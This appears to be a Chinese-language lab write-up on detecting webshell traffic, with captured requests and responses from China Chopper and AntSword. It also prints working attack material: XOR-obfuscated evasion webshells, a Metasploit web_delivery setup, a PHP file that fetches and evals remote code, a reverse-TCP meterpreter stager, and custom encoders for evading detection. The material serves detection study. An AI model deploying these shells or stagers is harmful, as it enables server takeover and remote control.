webshell流量监测

webshell流量监测

一句话webshell检测

POST 请求

1
2
3
4
5
6
7
8
9
10
POST /shop/d.php HTTP/1.1
X-Forwarded-For: 165.40.13.244
Referer: http://10.0.83.217:8080/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Host: 10.0.83.217:8080
Content-Length: 836
Cache-Control: no-cache

x=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JG09Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTskcD0nY21kJzskcz0nY2QgL2QgRTpcXHBocHN0dWR5XFxXV1dcXHNob3BcXCZuZXRzdGF0IC1hbiB8IGZpbmQgIkVTVEFCTElTSEVEIiZlY2hvIFtTXSZjZCZlY2hvIFtFXSc7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwLDEpPT0iLyI%2FIi1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOyRyPSJ7JHB9IHskY30iOyRhcnJheT1hcnJheShhcnJheSgicGlwZSIsInIiKSxhcnJheSgicGlwZSIsInciKSxhcnJheSgicGlwZSIsInciKSk7JGZwPXByb2Nfb3Blbigkci4iIDI%2BJjEiLCRhcnJheSwkcGlwZXMpOyRyZXQ9c3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pO3Byb2NfY2xvc2UoJGZwKTtwcmludCAkcmV0OztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));

POST返回包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HTTP/1.1 200 OK
Server: nginx/1.11.5
Date: Wed, 11 Sep 2019 08:16:31 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.27

137
X@Y TCP 10.0.83.217:3389 10.0.85.55:2264 ESTABLISHED
TCP 10.0.83.217:8080 10.0.85.55:3016 ESTABLISHED
TCP 127.0.0.1:9000 127.0.0.1:49190 ESTABLISHED
TCP 127.0.0.1:49190 127.0.0.1:9000 ESTABLISHED
[S]
E:\phpstudy\WWW\shop
[E]
X@Y
0

webshell-venom

无字符webshell:https://mp.weixin.qq.com/s/fCxs4hAVpa-sF4tdT_W8-w

1
2
3
4
5
6
7
8
9
10
<?php
class FTLM{
function __destruct(){
$IHAX='Z>s#/k'^"\x3b\x4d\x0\x46\x5d\x1f";//assert
return @$IHAX("$this->CJHM");
}
}
$ftlm=new FTLM();
@$ftlm->CJHM=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>
  1. 检测是否存在参数id,存在即把post的数据base64解密一遍,不存在即直接传参

  2. 利用随机异或进行免杀任意php文件

脚本对webshell进行免杀的思路是

array_map函数进行处理array_map('u?ldOQ'^"\x14\x4c\x1f\x1\x3d\x25",array(('P/f}'^"\x35\x59\x7\x11")."(base64_decode('xxxxxxxx'));"));,异或的字符串为assert和eval

下面是对冰蝎webshell的处理,base64函数里面的内容就是冰蝎的webshell

1
2
3
4
5
6
7
8
9
10
<?php
class OHNM{
function __destruct(){
$this->DNQF('#^nCdy'^"\x42\x2d\x1d\x26\x16\xd",array(('@j^H'^"\x25\x1c\x3f\x24")."(base64_decode('DQpAZXJyb3JfcmVwb3J0aW5nKDApOw0Kc2Vzc2lvbl9zdGFydCgpOw0KaWYgKGlzc2V0KCRfR0VUWydwYXNzJ10pKQ0Kew0KICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOw0KICAgICRfU0VTU0lPTlsnayddPSRrZXk7DQogICAgcHJpbnQgJGtleTsNCn0NCmVsc2UNCnsNCiAgICAka2V5PSRfU0VTU0lPTlsnayddOw0KCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOw0KCWlmKCFleHRlbnNpb25fbG9hZGVkKCdvcGVuc3NsJykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7DQogICAgJGZ1bmM9JGFyclswXTsNCiAgICAkcGFyYW1zPSRhcnJbMV07DQoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQ0KCUBuZXcgQygkcGFyYW1zKTsNCn0NCg=='));"));
}
function DNQF($OTHM,$EZAV){
@array_map($OTHM,$EZAV);
}}
$ohnm=new OHNM();
?>

POST请求包

1
2
3
4
5
6
7
8
9
10
POST /venom.php HTTP/1.1
X-Forwarded-For: 176.103.163.124
Referer: http://10.0.83.217:8080/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Host: 10.0.83.217:8080
Content-Length: 676
Cache-Control: no-cache

mr6=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));

POST响应包

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Server: nginx/1.11.5
Date: Thu, 12 Sep 2019 09:31:12 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.27

83
X@YE:\phpstudy\WWW C:E: Windows NT WIN-OMZKKO5S2WH 6.0 build 6002 (Windows Server 2008 Web Server Edition Service Pack 2) i586()X@Y
0

web_delivery

shell地址:http://10.0.83.217:8080/web_delivery.php

wiresahrk抓包:ip.addr == 10.0.83.217 && not ssh && !(tcp.port==3389)

1
2
3
4
5
6
7
msfvenom -p php/meterpreter/reverse_tcp LHOST=60.205.212.140 LPORT=8888 -f raw > shell.php
use exploit/multi/script/web_delivery
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 0.0.0.0
msf exploit (web_delivery)>set SRVPORT 8081
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)>exploit

web_delivery.php

1
2
3
<?php
eval(file_get_contents('http://10.0.85.55:8081/bGI3P5ta1iAm5XW'));
?>

其中http://10.0.85.55:8081/bGI3P5ta1iAm5XW内容为

1
/*<?php /**/ error_reporting(0); $ip = '10.0.85.55'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

pcap数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
GET /5fLYpgOj0FD9F HTTP/1.0
Host: 10.0.85.55:8081
Connection: close

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Connection: close
Server: Apache
Content-Length: 1111

/*<?php /**/error_reporting(0);
$ip = '10.0.85.55';
$port = 4444;if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{$ip}:{$port}");
$s_type = 'stream';}if (!$s && ($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port);
$s_type = 'stream';}if (!$s && ($f = 'socket_create') && is_callable($f)) {
$s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);if (!$res) {die();}
$s_type = 'socket';}if (!$s_type) {die('no socket funcs');}if (!$s) {die('no socket');}
switch ($s_type) {
case 'stream':$len = fread($s, 4);
break;case 'socket':$len = socket_read($s, 4);
break;}if (!$len) {die();}
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';while (strlen($b) < $len) {
switch ($s_type) {case 'stream':$b .= fread($s, $len - strlen($b));
break;case 'socket':$b .= socket_read($s, $len - strlen($b));
break;}}
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
$suhosin_bypass = create_function('', $b);
$suhosin_bypass();} else {eval($b);}
die();

与msf持续socket通信

WebShell客户端的流量特征

中国菜刀(Chopper)

1.PHP类WebShell链接流量

其中特征主要在body中,将body中流量进行url解码后如下:

其中特征点有如下三部分,

第一:eval,eval函数用于执行传递的攻击payload,这是必不可少的;

第二:base64_decode($_POST[z0]),(base64_decode($_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;

第三:&z0=QGluaV9zZXQ…,该部分是传递攻击payload,此参数z0对应$_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。

注:

1.有少数时候eval方法会被assert方法替代。

2.$_POST也会被$_GET、$_REQUEST替代。

3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。

2.JSP类WebShell链接流量:

该流量是WebShell链接流量的第一段链接流量,其中特征主要在i=A&z0=GB2312,菜刀链接JSP木马时,第一个参数定义操作,其中参数值为A-Q,如i=A,第二个参数指定编码,其参数值为编码,如z0=GB2312,有时候z0后面还会接着又z1=参数用来加入攻击载荷。

注:其中参数名i、z0、z1这种参数名是会变的,但是其参数值以及这种形式是不会变得,最主要就是第一个参数值在A-Q,这种是不变的。

3.ASP类WebShell链接流量:

其中body流量进行URL解码后

其中特征点有如下三部分,

第一:“Execute”,Execute函数用于执行传递的攻击payload,这是必不可少的,这个等同于php类中eval函数;

第二:OnError ResumeNext,这部分是大部分ASP客户端中必有的流量,能保证不管前面出任何错,继续执行以下代码。

第三:Response.Write和Response.End是必有的,是来完善整个操作的。

这种流量主要识别这几部分特征,在正常流量中基本没有。

注:OnError Resume Next这个特征在大部分流量中存在,极少数情况没有。

中国菜刀2016版本各语言WebShell链接流量特征

请求包:

1
2
3
4
5
6
7
8
9
10
POST /shop/d.php HTTP/1.1
X-Forwarded-For: 146.177.153.17
Referer: http://10.0.83.217:8080/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Host: 10.0.83.217:8080
Content-Length: 674
Cache-Control: no-cache

x=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));

响应包:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Server: nginx/1.11.5
Date: Thu, 19 Sep 2019 07:23:04 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.27

X@YE:\phpstudy\WWW\shop C:E: Windows NT WIN-OMZKKO5S2WH 6.0 build 6002 (Windows Server 2008 Web Server Edition Service Pack 2)

1.PHP类WebShell链接流量

其中特征主要在body中,将body中部分如下:

这个版本中流量最大的改变就是将特征进行打断混淆,这也给我们识别特征提供一种思路。

其中特征点有如下三部分,

第一:“Ba”.”SE6″.”4_dEc”.”OdE”,这部分是将base64解码打断使用.来连接。

第二:@ev”.”al,这部分也是将@eval这部分进行打断连接,可以识别这段代码即可。

第三:QGluaV9zZXQoImRpc3BsYXlf…,该部分是传递攻击payload,payload依旧使用Base64编码的,所以可以利用base64解码可以看到攻击明文来识别。

注:1.有少数时候eval方法会被assert方法替代。

2.JSP类WebShell链接流量:

该版本JSPwebshell流量与之前版本一样,

所以分析如上:该流量是WebShell链接流量的第一段链接流量,其中特征主要在i=A&z0=GB2312,菜刀链接JSP木马时,第一个参数定义操作,其中参数值为A-Q,如i=A,第二个参数指定编码,其参数值为编码,如z0=GB2312,有时候z0后面还会接着又z1=、z2=参数用来加入攻击载荷。

注:其中参数名i、z0、z1这种参数名是会变的,但是其参数值以及这种形式是不会变得,最主要就是第一个参数值在A-Q,这种是不变的。

3.ASP类WebShell链接流量:

其中body流量为:

2016版本流量这链接流量最大的变化在于body中部分字符被unicode编码替换混淆,所以这种特征需要提取出一种形式来,匹配这个混淆特征,比如“字符+%u0000+字符+%u0000”这种形式来判断该流量。

或者直接将这部分代码直接进行unicode解码,可以获取到如2011或2014版本的asp所示的流量。可以根据上一段特征来进行判断。

这种流量主要识别这几部分特征,在正常流量中基本没有。

中国蚁剑(AntSword)

蚁剑流量明显特征

使用版本:v2.1.3

无加密请求数据包:

1
2
3
4
5
6
7
8
9
POST /shop/d.php HTTP/1.1
Host: 10.0.83.217:8080
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 983
Connection: close

x=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "b61ed";echo @asenc($output);echo "8c7a0";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

响应包

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Server: nginx/1.11.5
Date: Wed, 18 Sep 2019 06:44:31 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.27
Content-Encoding: gzip

b61edE:/phpstudy/WWW/shop C:E: Windows NT WIN-OMZKKO5S2WH 6.0 build 6002 (Windows Server 2008 Web Server Edition Service Pack 2) i586 Administrator8c7a0

针对最明显的特征就是user-agent可以在下面两处地方进行修改

antSword-2.0.2\modules\request.js (21行一处)
antSword-2.0.2\modules\update.js (两处)

蚁剑PHP类WebShell链接流量

其中body流量进行URL解码后为:

其中流量最中明显的特征为@ini_set(“display_errors”,”0″);这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,而蚁剑是明文,所以较好发现。

蚁剑ASP类WebShell链接流量

其中body流量进行URL解码后为:

我们可以看出蚁剑针对ASP类的WebShell流量与菜刀的流量很像,其中特征也是相同,如OnErrorResumeNextResponse.EndResponse.Write,其中execute在蚁剑中被打断混淆了,变成了拼接形式Ex”&cHr(101)&”cute,同时该流量中也使用了eval参数,可以被认为明显特征。

蚁剑bypass特征

选择base64加密

1
2
3
4
5
6
7
8
9
POST /shop/d.php HTTP/1.1
Host: 10.0.83.217:8080
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 960
Connection: close

_0x10e40a2245318=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuIEBiYXNlNjRfZW5jb2RlKCRvdXQpO307ZnVuY3Rpb24gYXNvdXRwdXQoKXskb3V0cHV0PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2VjaG8gIjI2ZTI5IjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICJjNjYyOSI7fW9iX3N0YXJ0KCk7dHJ5eyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9CSI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQyIsIloiKWFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9ZWxzZXskUi49Ii8iO30kUi49IgkiOyR1PShmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKSk/QHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOiIiOyRzPSgkdSk/JHVbIm5hbWUiXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Igl7JHN9IjtlY2hvICRSOzt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7&x=@eval(@base64_decode($_POST[_0x10e40a2245318]));

对其中的base64进行解码,发送的请求为

1
_0x10e40a2245318=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return @base64_encode($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "26e29";echo @asenc($output);echo "c6629";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&x=@eval(@base64_decode($_POST[_0x10e40a2245318]));

选择rot13加密

请求数据包:

1
2
3
4
5
6
7
8
9
POST /shop/d.php HTTP/1.1
Host: 10.0.83.217:8080
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1055
Connection: close

_0x4cd70cd63391=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);shapgvba nfrap($bhg){erghea $bhg;};shapgvba nfbhgchg(){$bhgchg=bo_trg_pbagragf();bo_raq_pyrna();rpub "r1334";rpub @nfrap($bhgchg);rpub "6ss0n";}bo_fgneg();gel{$Q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);vs($Q=="")$Q=qveanzr($_FREIRE["CNGU_GENAFYNGRQ"]);$E="{$Q} ";vs(fhofge($Q,0,1)!="/"){sbernpu(enatr("P","M")nf $Y)vs(vf_qve("{$Y}:"))$E.="{$Y}:";}ryfr{$E.="/";}$E.=" ";$h=(shapgvba_rkvfgf("cbfvk_trgrtvq"))?@cbfvk_trgcjhvq(@cbfvk_trgrhvq()):"";$f=($h)?$h["anzr"]:@trg_pheerag_hfre();$E.=cuc_hanzr();$E.=" {$f}";rpub $E;;}pngpu(Rkprcgvba $r){rpub "REEBE://".$r->trgZrffntr();};nfbhgchg();qvr();&x=@eval(@str_rot13($_POST[_0x4cd70cd63391]));

响应包:

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Server: nginx/1.11.5
Date: Wed, 18 Sep 2019 06:54:44 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.27
Content-Encoding: gzip

e1334E:/phpstudy/WWW/shop C:E: Windows NT WIN-OMZKKO5S2WH 6.0 build 6002 (Windows Server 2008 Web Server Edition Service Pack 2) i586 Administrator6ff0a

multipart /chunked

multipart 上传文件形式

chunked 分块传输

特征同上,参数名大多以_0x……=这种形式

自定义编码器

在传送的数据包上自定义编码器进行传输流量加密

b64pass编码器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* php::base64编码器
* Create at: 2019/09/18 17:22:50
*/

'use strict';

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例

// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');

// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
//data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
data[pwd] = Buffer.from(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
// ########## 请在上方编写你自己的代码 ###################

// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

我们只需要做的就是,把 eval(base64_decode 这段特征代码,直接写进一句话代码里就行了,在传输的时候,只传 base64 的数据就可以了。

所以最后的 webshell 代码是这样的:

1
<?php @eval(base64_decode($_POST['ant']));?>

请求数据包:

1
2
3
4
5
6
7
8
9
POST /Antsword1.php HTTP/1.1
Host: 10.0.83.217:8080
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 958
Connection: close

_0xda35e59dcb63b=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiZDI2MTciO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjdlNDcwIjt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0%2BZ2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs%3D&ant=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtfMHhkYTM1ZTU5ZGNiNjNiXSkpO2RpZSgpOw%3D%3D

返回包:

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Server: nginx/1.11.5
Date: Wed, 18 Sep 2019 11:04:11 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.27
Content-Encoding: gzip

d2617E:/phpstudy/WWW C:E: Windows NT WIN-OMZKKO5S2WH 6.0 build 6002 (Windows Server 2008 Web Server Edition Service Pack 2) i586 Administrator7e470

接收到的数据是 base64 格式的,先解码,然后再传给 eval,效果就是这样子的:

1
_0xda35e59dcb63b=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "d2617";echo @asenc($output);echo "7e470";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

AES-128-ECB(ZeroPadding)编码器

这个需要开启open_ssl

使用具体流程是这样的

1.上传webshell,内容如下:

1
2
3
4
5
6
<?php
@session_start();
$pwd='ant';
$key=@substr(str_pad(session_id(),16,'a'),0,16);//取到16位的AES-128的key,不到16位不从字母a
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
?>

2.访问webshell获得PHPSESSID

请求数据包:

1
2
3
4
5
6
7
8
9
10
POST /Antsword2.php HTTP/1.1
Host: 10.0.83.217:8080
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Cookie: PHPSESSID=euc1qrq471617jmjop299p3dj7
Content-Type: application/x-www-form-urlencoded
Content-Length: 928
Connection: close

